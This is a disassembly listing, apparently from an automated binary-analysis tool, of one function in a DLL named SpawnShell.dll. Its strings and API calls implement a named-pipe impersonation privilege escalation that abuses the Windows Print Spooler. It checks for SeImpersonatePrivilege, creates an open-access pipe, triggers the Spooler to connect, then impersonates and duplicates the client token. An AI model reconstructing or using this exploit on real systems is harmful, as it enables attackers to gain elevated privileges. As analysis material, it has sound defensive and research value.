Function at 0x1800012e0
Capabilities:
Connect pipe
Create pipe
Create thread
Print debug messages

Disassembly:
mov qword [rsp + 0x18], rdi
push rbp
push r14
push r15
lea rbp, [rsp - 0x7e0]
sub rsp, 0x8e0
mov rax, qword [section..data]
xor rax, rsp
mov qword [rbp + 0x7d0], rax
xor edi, edi
mov r15, 0xffffffffffffffff
mov qword [rsp + 0x48], rdi
mov r14, r15
call fcn.180001770
test eax, eax
jne 0x180001330
lea rcx, str.____A_privilege_is_missing:__n
call fcn.1800011c0
mov qword [rsp + 0x900], rbx
lea rdx, str.SeImpersonatePrivilege
lea rcx, str.___Found_privilege:__ws_n
mov qword [rsp + 0x908], rsi
call fcn.1800011c0
xorps xmm0, xmm0
lea rcx, [rbp - 0x48]
movups xmmword [rbp - 0x48], xmm0
call qword [sym.imp.RPCRT4.dll_UuidCreate]
test eax, eax
jne 0x180001704
lea rdx, [rsp + 0x48]
lea rcx, [rbp - 0x48]
call qword [sym.imp.RPCRT4.dll_UuidToStringW]
test eax, eax
jne 0x180001704
mov rsi, qword [rsp + 0x48]
test rsi, rsi
je 0x180001704
xorps xmm0, xmm0
xor eax, eax
mov ecx, 0x208
mov qword [rbp - 0x50], rax
movups xmmword [rbp - 0x70], xmm0
mov qword [rsp + 0x68], rax
movups xmmword [rbp - 0x60], xmm0
movups xmmword [rsp + 0x58], xmm0
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_malloc]
mov rbx, rax
test rax, rax
je 0x180001406
mov r9, rsi
lea r8, str..pipe_wspipe_spoolss
mov edx, 0x104
mov rcx, rax
call fcn.180001220
mov edx, 1
lea rcx, [rbp - 0x70]
call qword [sym.imp.ADVAPI32.dll_InitializeSecurityDescriptor]
test eax, eax
jne 0x180001417
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.InitializeSecurityDescriptor___failed._Error:__d_n
call fcn.1800011c0
mov rcx, rbx
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
lea rcx, str.____Failed_to_create_a_named_pipe._n
call fcn.1800011c0
jmp 0x180001719
xor r9d, r9d
lea r8, [rsp + 0x60]
lea rcx, str.D:_A_OICI_GA___WD_
lea edx, [r9 + 1]
call qword [sym.imp.ADVAPI32.dll_ConvertStringSecurityDescriptorToSecurityDescriptorW]
test eax, eax
jne 0x180001445
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.ConvertStringSecurityDescriptorToSecurityDescriptor___failed._Error:__d_n
jmp 0x1800013f8
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_OutputDebugStringW]
lea rax, [rsp + 0x58]
mov r9d, 0xa
mov qword [rsp + 0x38], rax
xor r8d, r8d
mov dword [rsp + 0x30], edi
mov edx, 0x40000003
mov dword [rsp + 0x28], 0x800
mov rcx, rbx
mov dword [rsp + 0x20], 0x800
call qword [sym.imp.KERNEL32.dll_CreateNamedPipeW]
mov rsi, rax
cmp rax, r14
jne 0x1800014ac
lea rcx, str.Failed
call qword [sym.imp.KERNEL32.dll_OutputDebugStringW]
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.CreateNamedPipe___failed._Error:__d_n
jmp 0x1800013f8
mov rcx, rbx
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
test rsi, rsi
je 0x180001406
xorps xmm0, xmm0
xor r9d, r9d
xor r8d, r8d
xor ecx, ecx
movups xmmword [rsp + 0x70], xmm0
lea edx, [r9 + 1]
movups xmmword [rbp - 0x80], xmm0
call qword [sym.imp.KERNEL32.dll_CreateEventW]
mov r15, rax
test rax, rax
jne 0x1800014ed
lea rbx, str.CreateEvent___failed._Error:__d_n
jmp 0x180001520
xorps xmm0, xmm0
mov qword [rbp - 0x78], r15
lea rdx, [rsp + 0x70]
mov rcx, rsi
movdqu xmmword [rsp + 0x78], xmm0
call qword [sym.imp.KERNEL32.dll_ConnectNamedPipe]
test eax, eax
jne 0x18000154a
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x3e5
je 0x18000154a
lea rbx, str.ConnectNamedPipe___failed._Error:__d_n
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
mov rcx, rbx
call fcn.1800011c0
lea rcx, str.____Failed_to_connect_the_named_pipe._n
call fcn.1800011c0
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x180001727
lea rcx, str.___Named_pipe_listening..._n
call fcn.1800011c0
mov rbx, qword [rsp + 0x48]
lea rdx, str.___CreateThread_TriggerNamedPipeConnectionThread__s_n
mov r8, rbx
mov dword [rsp + 0x40], edi
lea rcx, [rbp + 0x3d0]
call qword [sym.imp.USER32.dll_wsprintfW]
lea rcx, [rbp + 0x3d0]
call qword [sym.imp.KERNEL32.dll_OutputDebugStringW]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
lea r9, [sym.SpawnShell.dll_TriggerNamedPipeConnectionThread]
xor r8d, r8d
mov rcx, rax
xor edx, edx
lea rax, [rsp + 0x40]
mov qword [rsp + 0x30], rax
mov dword [rsp + 0x28], edi
mov qword [rsp + 0x20], rbx
call qword [sym.imp.KERNEL32.dll_CreateRemoteThread]
mov r14, rax
test rax, rax
jne 0x180001601
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.CreateThread___failed._Error:__d_n
call fcn.1800011c0
mov r8d, dword [rsp + 0x40]
lea rdx, str.___CreateThread_dwThreadId__d_n
lea rcx, [rbp - 0x30]
call qword [sym.imp.USER32.dll_wsprintfW]
lea rcx, [rbp - 0x30]
call qword [sym.imp.KERNEL32.dll_OutputDebugStringW]
lea rcx, str.____Failed_to_trigger_the_Spooler_service._n
call fcn.1800011c0
mov rcx, rsi
jmp 0x180001713
mov r8d, dword [rsp + 0x40]
lea rdx, str.___CreateThread_dwThreadId__d_n
lea rcx, [rbp - 0x30]
call qword [sym.imp.USER32.dll_wsprintfW]
lea rcx, [rbp - 0x30]
call qword [sym.imp.KERNEL32.dll_OutputDebugStringW]
lea rcx, str.waiting..._n
call fcn.1800011c0
mov edx, 0x2710
mov rcx, r15
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
test eax, eax
je 0x180001653
lea rcx, str.____Operation_failed_or_timed_out._n
call fcn.1800011c0
mov rcx, rsi
jmp 0x180001713
mov rcx, rsi
mov qword [rsp + 0x50], 0xffffffffffffffff
mov qword [rbp - 0x48], 0xffffffffffffffff
call qword [sym.imp.ADVAPI32.dll_ImpersonateNamedPipeClient]
test eax, eax
jne 0x180001685
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.ImpersonateNamedPipeClient__._Error:__d_n
call fcn.1800011c0
call qword [sym.imp.KERNEL32.dll_GetCurrentThread]
lea r9, [rsp + 0x50]
xor r8d, r8d
mov rcx, rax
mov edx, 0xf01ff
call qword [sym.imp.ADVAPI32.dll_OpenThreadToken]
test eax, eax
jne 0x1800016b9
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.OpenThreadToken__._Error:__d_n
call fcn.1800011c0
mov rcx, qword [rsp + 0x50]
lea rax, [rbp - 0x48]
mov qword [rsp + 0x28], rax
mov r9d, 2
xor r8d, r8d
mov dword [rsp + 0x20], 1
mov edx, 0xf01ff
call qword [sym.imp.ADVAPI32.dll_DuplicateTokenEx]
test eax, eax
jne 0x1800016fb
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.DuplicateTokenEx___failed._Error:__d_n
call fcn.1800011c0
mov rdi, qword [rbp - 0x48]
mov rcx, rsi
jmp 0x180001713
lea rcx, str.____Failed_to_generate_a_name_for_the_pipe._n
call fcn.1800011c0
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, r15
call qword [sym.imp.KERNEL32.dll_CloseHandle]
test r14, r14
je 0x180001730
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rsi, qword [rsp + 0x908]
mov rax, rdi
mov rbx, qword [rsp + 0x900]
mov rcx, qword [rbp + 0x7d0]
xor rcx, rsp
call fcn.180001db0
mov rdi, qword [rsp + 0x910]
add rsp, 0x8e0
pop r15
pop r14
pop rbp
ret